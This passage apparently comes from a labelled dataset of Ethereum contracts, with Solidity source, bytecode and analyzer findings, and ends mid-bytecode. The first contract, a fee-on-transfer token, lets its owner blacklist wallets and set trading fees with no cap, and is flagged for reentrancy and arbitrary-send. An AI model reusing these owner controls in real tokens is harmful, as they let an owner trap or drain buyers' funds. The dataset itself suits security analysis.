uint256 private _redisFeeOnSell = 3;
uint256 private _taxFeeOnSell = 7;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => uint256) public _buyMap;
address payable private _marketingAddress ;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 5000000000 * 10**9;
uint256 public _maxWalletSize = 20000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_marketingAddress = payable(_msgSender());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(from == owner());
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize);
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
require(!tradingOpen);
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) external onlyOwner{
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount >= 5000000 * 10**9 );
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055e578063dd62ed3e1461057e578063ea1644d5146105c4578063f2fde38b146105e457600080fd5b8063a2a957bb146104d9578063a9059cbb146104f9578063bfd7928414610519578063c3c8cd801461054957600080fd5b80638f70ccf7116100d15780638f70ccf7146104535780638f9a55c01461047357806395d89b411461048957806398a5c315146104b957600080fd5b80637d1db4a5146103f25780637f2feddc146104085780638da5cb5b1461043557600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038857806370a082311461039d578063715018a6146103bd57806374010ece146103d257600080fd5b8063313ce5671461030c57806349bd5a5e146103285780636b999053146103485780636d8aa8f81461036857600080fd5b80631694505e116101ab5780631694505e1461027857806318160ddd146102b057806323b872dd146102d65780632fd689e3146102f657600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024857600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611803565b610604565b005b34801561020a57600080fd5b5060408051808201909152600f81526e54454d504c45204f4620534849424160881b60208201525b60405161023f91906118c8565b60405180910390f35b34801561025457600080fd5b5061026861026336600461191d565b6106a3565b604051901515815260200161023f565b34801561028457600080fd5b50601354610298906001600160a01b031681565b6040516001600160a01b03909116815260200161023f565b3480156102bc57600080fd5b50683635c9adc5dea000005b60405190815260200161023f565b3480156102e257600080fd5b506102686102f1366004611949565b6106ba565b34801561030257600080fd5b506102c860175481565b34801561031857600080fd5b506040516009815260200161023f565b34801561033457600080fd5b50601454610298906001600160a01b031681565b34801561035457600080fd5b506101fc61036336600461198a565b610723565b34801561037457600080fd5b506101fc6103833660046119b7565b61076e565b34801561039457600080fd5b506101fc6107b6565b3480156103a957600080fd5b506102c86103b836600461198a565b6107e3565b3480156103c957600080fd5b506101fc610805565b3480156103de57600080fd5b506101fc6103ed3660046119d2565b610879565b3480156103fe57600080fd5b506102c860155481565b34801561041457600080fd5b506102c861042336600461198a565b60116020526000908152604090205481565b34801561044157600080fd5b506000546001600160a01b0316610298565b34801561045f57600080fd5b506101fc61046e3660046119b7565b6108bc565b34801561047f57600080fd5b506102c860165481565b34801561049557600080fd5b5060408051808201909152600781526654454d504c455360c81b6020820152610232565b3480156104c557600080fd5b506101fc6104d43660046119d2565b61091b565b3480156104e557600080fd5b506101fc6104f43660046119eb565b61094a565b34801561050557600080fd5b5061026861051436600461191d565b610988565b34801561052557600080fd5b5061026861053436600461198a565b60106020526000908152604090205460ff1681565b34801561055557600080fd5b506101fc610995565b34801561056a57600080fd5b506101fc610579366004611a1d565b6109cb565b34801561058a57600080fd5b506102c8610599366004611aa1565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105d057600080fd5b506101fc6105df3660046119d2565b610a6c565b3480156105f057600080fd5b506101fc6105ff36600461198a565b610a9b565b6000546001600160a01b031633146106375760405162461bcd60e51b815260040161062e90611ada565b60405180910390fd5b60005b815181101561069f5760016010600084848151811061065b5761065b611b0f565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069781611b3b565b91505061063a565b5050565b60006106b0338484610b85565b5060015b92915050565b60006106c7848484610ca9565b610719843361071485604051806060016040528060288152602001611c53602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061109b565b610b85565b5060019392505050565b6000546001600160a01b0316331461074d5760405162461bcd60e51b815260040161062e90611ada565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107985760405162461bcd60e51b815260040161062e90611ada565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107d657600080fd5b476107e0816110d5565b50565b6001600160a01b0381166000908152600260205260408120546106b49061110f565b6000546001600160a01b0316331461082f5760405162461bcd60e51b815260040161062e90611ada565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108a35760405162461bcd60e51b815260040161062e90611ada565b6611c37937e080008110156108b757600080fd5b601555565b6000546001600160a01b031633146108e65760405162461bcd60e51b815260040161062e90611ada565b601454600160a01b900460ff16156108fd57600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109455760405162461bcd60e51b815260040161062e90611ada565b601755565b6000546001600160a01b031633146109745760405162461bcd60e51b815260040161062e90611ada565b600893909355600a91909155600955600b55565b60006106b0338484610ca9565b6012546001600160a01b0316336001600160a01b0316146109b557600080fd5b60006109c0306107e3565b90506107e081611193565b6000546001600160a01b031633146109f55760405162461bcd60e51b815260040161062e90611ada565b60005b82811015610a66578160056000868685818110610a1757610a17611b0f565b9050602002016020810190610a2c919061198a565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a5e81611b3b565b9150506109f8565b50505050565b6000546001600160a01b03163314610a965760405162461bcd60e51b815260040161062e90611ada565b601655565b6000546001600160a01b03163314610ac55760405162461bcd60e51b815260040161062e90611ada565b6001600160a01b038116610b2a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062e565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610be75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062e565b6001600160a01b038216610c485760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062e565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d0d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062e565b6001600160a01b038216610d6f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062e565b60008111610dd15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062e565b6000546001600160a01b03848116911614801590610dfd57506000546001600160a01b03838116911614155b15610f9457601454600160a01b900460ff16610e2d576000546001600160a01b03848116911614610e2d57600080fd5b601554811115610e3c57600080fd5b6001600160a01b03831660009081526010602052604090205460ff16158015610e7e57506001600160a01b03821660009081526010602052604090205460ff16155b610e8757600080fd5b6014546001600160a01b03838116911614610ebd5760165481610ea9846107e3565b610eb39190611b54565b10610ebd57600080fd5b6000610ec8306107e3565b601754601554919250821015908210610ee15760155491505b808015610ef85750601454600160a81b900460ff16155b8015610f1257506014546001600160a01b03868116911614155b8015610f275750601454600160b01b900460ff165b8015610f4c57506001600160a01b03851660009081526005602052604090205460ff16155b8015610f7157506001600160a01b03841660009081526005602052604090205460ff16155b15610f9157610f7f82611193565b478015610f8f57610f8f476110d5565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610fd657506001600160a01b03831660009081526005602052604090205460ff165b8061100857506014546001600160a01b0385811691161480159061100857506014546001600160a01b03848116911614155b156110155750600061108f565b6014546001600160a01b03858116911614801561104057506013546001600160a01b03848116911614155b1561105257600854600c55600954600d555b6014546001600160a01b03848116911614801561107d57506013546001600160a01b03858116911614155b1561108f57600a54600c55600b54600d555b610a668484848461130d565b600081848411156110bf5760405162461bcd60e51b815260040161062e91906118c8565b5060006110cc8486611b6c565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069f573d6000803e3d6000fd5b60006006548211156111765760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062e565b600061118061133b565b905061118c838261135e565b9392505050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111db576111db611b0f565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611234573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112589190611b83565b8160018151811061126b5761126b611b0f565b6001600160a01b0392831660209182029290920101526013546112919130911684610b85565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906112ca908590600090869030904290600401611ba0565b600060405180830381600087803b1580156112e457600080fd5b505af11580156112f8573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b8061131a5761131a6113a0565b6113258484846113ce565b80610a6657610a66600e54600c55600f54600d55565b60008060006113486114c5565b9092509050611357828261135e565b9250505090565b600061118c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611507565b600c541580156113b05750600d54155b156113b757565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806113e087611535565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114129087611592565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461144190866115d4565b6001600160a01b03891660009081526002602052604090205561146381611633565b61146d848361167d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114b291815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006114e1828261135e565b8210156114fe57505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836115285760405162461bcd60e51b815260040161062e91906118c8565b5060006110cc8486611c11565b60008060008060008060008060006115528a600c54600d546116a1565b925092509250600061156261133b565b905060008060006115758e8787876116f6565b919e509c509a509598509396509194505050505091939550919395565b600061118c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061109b565b6000806115e18385611b54565b90508381101561118c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062e565b600061163d61133b565b9050600061164b8383611746565b3060009081526002602052604090205490915061166890826115d4565b30600090815260026020526040902055505050565b60065461168a9083611592565b60065560075461169a90826115d4565b6007555050565b60008080806116bb60646116b58989611746565b9061135e565b905060006116ce60646116b58a89611746565b905060006116e6826116e08b86611592565b90611592565b9992985090965090945050505050565b60008080806117058886611746565b905060006117138887611746565b905060006117218888611746565b90506000611733826116e08686611592565b939b939a50919850919650505050505050565b600082600003611758575060006106b4565b60006117648385611c33565b9050826117718583611c11565b1461118c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062e565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107e057600080fd5b80356117fe816117de565b919050565b6000602080838503121561181657600080fd5b823567ffffffffffffffff8082111561182e57600080fd5b818501915085601f83011261184257600080fd5b813581811115611854576118546117c8565b8060051b604051601f19603f83011681018181108582111715611879576118796117c8565b60405291825284820192508381018501918883111561189757600080fd5b938501935b828510156118bc576118ad856117f3565b8452938501939285019261189c565b98975050505050505050565b600060208083528351808285015260005b818110156118f5578581018301518582016040015282016118d9565b81811115611907576000604083870101525b50601f01601f1916929092016040019392505050565b6000806040838503121561193057600080fd5b823561193b816117de565b946020939093013593505050565b60008060006060848603121561195e57600080fd5b8335611969816117de565b92506020840135611979816117de565b929592945050506040919091013590565b60006020828403121561199c57600080fd5b813561118c816117de565b803580151581146117fe57600080fd5b6000602082840312156119c957600080fd5b61118c826119a7565b6000602082840312156119e457600080fd5b5035919050565b60008060008060808587031215611a0157600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611a3257600080fd5b833567ffffffffffffffff80821115611a4a57600080fd5b818601915086601f830112611a5e57600080fd5b813581811115611a6d57600080fd5b8760208260051b8501011115611a8257600080fd5b602092830195509350611a9891860190506119a7565b90509250925092565b60008060408385031215611ab457600080fd5b8235611abf816117de565b91506020830135611acf816117de565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611b4d57611b4d611b25565b5060010190565b60008219821115611b6757611b67611b25565b500190565b600082821015611b7e57611b7e611b25565b500390565b600060208284031215611b9557600080fd5b815161118c816117de565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611bf05784516001600160a01b031683529383019391830191600101611bcb565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611c2e57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611c4d57611c4d611b25565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205e2c7a9f5e0f2a28821e88cda060230078c294ee30cd784e0459262a24bf55cd64736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,714 |
0x44Aa9c5a034C1499Ec27906E2D427b704b567ffe
|
/**
*Submitted for verification at Etherscan.io on 2021-05-24
*/
// SPDX-License-Identifier: NONE
pragma solidity 0.6.12;
// Part: IGtc
interface IGtc {
function balanceOf(address account) external view returns (uint);
function transfer(address dst, uint rawAmount) external returns (bool);
}
// Part: SafeMath
// Subject to the MIT license.
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the addition of two unsigned integers, reverting with custom message on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction underflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, errorMessage);
return c;
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts with custom message on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: TreasuryVester.sol
contract TreasuryVester {
using SafeMath for uint;
address public immutable gtc;
address public recipient;
uint public immutable vestingAmount;
uint public immutable vestingBegin;
uint public immutable vestingCliff;
uint public immutable vestingEnd;
uint public lastUpdate;
constructor(
address gtc_,
address recipient_,
uint vestingAmount_,
uint vestingBegin_,
uint vestingCliff_,
uint vestingEnd_
) public {
require(vestingBegin_ >= block.timestamp, 'TreasuryVester::constructor: vesting begin too early');
require(vestingCliff_ >= vestingBegin_, 'TreasuryVester::constructor: cliff is too early');
require(vestingEnd_ > vestingCliff_, 'TreasuryVester::constructor: end is too early');
gtc = gtc_;
recipient = recipient_;
vestingAmount = vestingAmount_;
vestingBegin = vestingBegin_;
vestingCliff = vestingCliff_;
vestingEnd = vestingEnd_;
lastUpdate = vestingBegin_;
}
function setRecipient(address recipient_) public {
require(msg.sender == recipient, 'TreasuryVester::setRecipient: unauthorized');
recipient = recipient_;
}
function claim() public {
require(block.timestamp >= vestingCliff, 'TreasuryVester::claim: not time yet');
uint amount;
if (block.timestamp >= vestingEnd) {
amount = IGtc(gtc).balanceOf(address(this));
} else {
amount = vestingAmount.mul(block.timestamp - lastUpdate).div(vestingEnd - vestingBegin);
lastUpdate = block.timestamp;
}
IGtc(gtc).transfer(recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100925760003560e01c806384a1931f1161006657806384a1931f14610105578063c04637111461010d578063e29bc68b14610115578063e419d4061461011d578063f3640e741461012557610092565b8062728f76146100975780633bbed4a0146100b15780634e71d92d146100d957806366d003ac146100e1575b600080fd5b61009f61012d565b60408051918252519081900360200190f35b6100d7600480360360208110156100c757600080fd5b50356001600160a01b0316610151565b005b6100d76101bc565b6100e961040e565b604080516001600160a01b039092168252519081900360200190f35b61009f61041d565b61009f610441565b61009f610447565b6100e961046b565b61009f61048f565b7f000000000000000000000000000000000000000000295be96e6406697200000081565b6000546001600160a01b0316331461019a5760405162461bcd60e51b815260040180806020018281038252602a8152602001806105f5602a913960400191505060405180910390fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b7f0000000000000000000000000000000000000000000000000000000060abc5c142101561021b5760405162461bcd60e51b81526004018080602001828103825260238152602001806106406023913960400191505060405180910390fd5b60007f00000000000000000000000000000000000000000000000000000000646e2cc042106102dd57604080516370a0823160e01b815230600482015290516001600160a01b037f000000000000000000000000de30da39c46104798bb5aa3fe8b9e0e1f348163f16916370a08231916024808301926020929190829003018186803b1580156102aa57600080fd5b505afa1580156102be573d6000803e3d6000fd5b505050506040513d60208110156102d457600080fd5b50519050610367565b6103607f0000000000000000000000000000000000000000000000000000000060abc5c07f00000000000000000000000000000000000000000000000000000000646e2cc00361035a60015442037f000000000000000000000000000000000000000000295be96e640669720000006104b390919063ffffffff16565b90610515565b4260015590505b600080546040805163a9059cbb60e01b81526001600160a01b0392831660048201526024810185905290517f000000000000000000000000de30da39c46104798bb5aa3fe8b9e0e1f348163f9092169263a9059cbb926044808401936020939083900390910190829087803b1580156103df57600080fd5b505af11580156103f3573d6000803e3d6000fd5b505050506040513d602081101561040957600080fd5b505050565b6000546001600160a01b031681565b7f00000000000000000000000000000000000000000000000000000000646e2cc081565b60015481565b7f00000000000000000000000000000000